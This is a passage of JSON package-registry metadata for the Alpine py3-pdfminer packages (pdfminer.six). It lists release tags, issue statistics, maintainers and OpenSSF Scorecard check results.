com/pdfminer/pdfminer.six/tar.gz/20250327","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250327","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250327","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250327/manifests"},{"name":"20250324","sha":"84f24933924b048afdab8bc07431244bf861c15f","kind":"tag","published_at":"2025-03-24T07:29:56.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20250324","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20250324","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20250324","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20250324/manifests"},{"name":"20240706","sha":"fcfbcd3bfd61a429ac5ea92dd20f83a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:19.678Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":21.680705976734856,"stargazers_count":2.480278112047065,"forks_count":1.811739537371306,"average":6.493180906538307},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.14","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":258,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-02-04T17:21:46.142Z","updated_at":"2023-02-04T17:21:46.142Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.14","url":"https://pkgs.alpinelinux.org/packages?branch=v3.14","ecosystem":"alpine","default":false,"packages_count":14958,"maintainers_count":258,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.706Z","updated_at":"2026-04-27T18:20:25.531Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.14/namespaces"}},{"id":7646302,"name":"py3-pdfminer-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-pdfminer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":"community","versions_count":6,"first_release_published_at":"2023-04-25T07:00:46.000Z","latest_release_published_at":"2026-03-27T19:40:25.000Z","latest_release_number":"20260107-r1","last_synced_at":"2026-04-01T01:21:25.769Z","created_at":"2023-04-26T03:23:51.648Z","updated_at":"2026-04-01T01:21:26.103Z","registry_url":"https://pkgs.alpinelinux.org/package/edge/community/x86_64/py3-pdfminer-pyc","install_command":"apk add py3-pdfminer-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2025-05-06T16:15:59.000Z","size":14777,"stargazers_count":6688,"open_issues_count":225,"forks_count":993,"subscribers_count":117,"default_branch":"master","last_synced_at":"2025-09-09T22:39:55.166Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2025-09-08T13:25:10.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":27,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdfminer.six","commit":"51683b2528e2aa685dd8b9e61f6ccf9f76a59a62"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.1,"checks":[{"name":"Code-Review","score":4,"reason":"Found 13/30 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/actions.yml:1","Info: found token with 'none' permissions: .github/workflows/cifuzz.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_fuzzer.py:3","Info: PythonAtherisFuzzer integration found: fuzzing/extract_text_to_fp_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/page_extraction_fuzzer.py:4","Info: PythonAtherisFuzzer integration found: fuzzing/utils.py:6"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact 20250506 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 not signed: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153","Warn: release artifact 20250506 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/216808673","Warn: release artifact 20250416 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/212749590","Warn: release artifact 20250327 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/208596512","Warn: release artifact 20250324 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/207771779","Warn: release artifact 20240706 does not have provenance: https://api.github.com/repos/pdfminer/pdfminer.six/releases/164257153"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:67: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/actions.yml:75: update your workflow using https://app.stepsecurity.io/secureworkflow/pdfminer/pdfminer.six/actions.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: 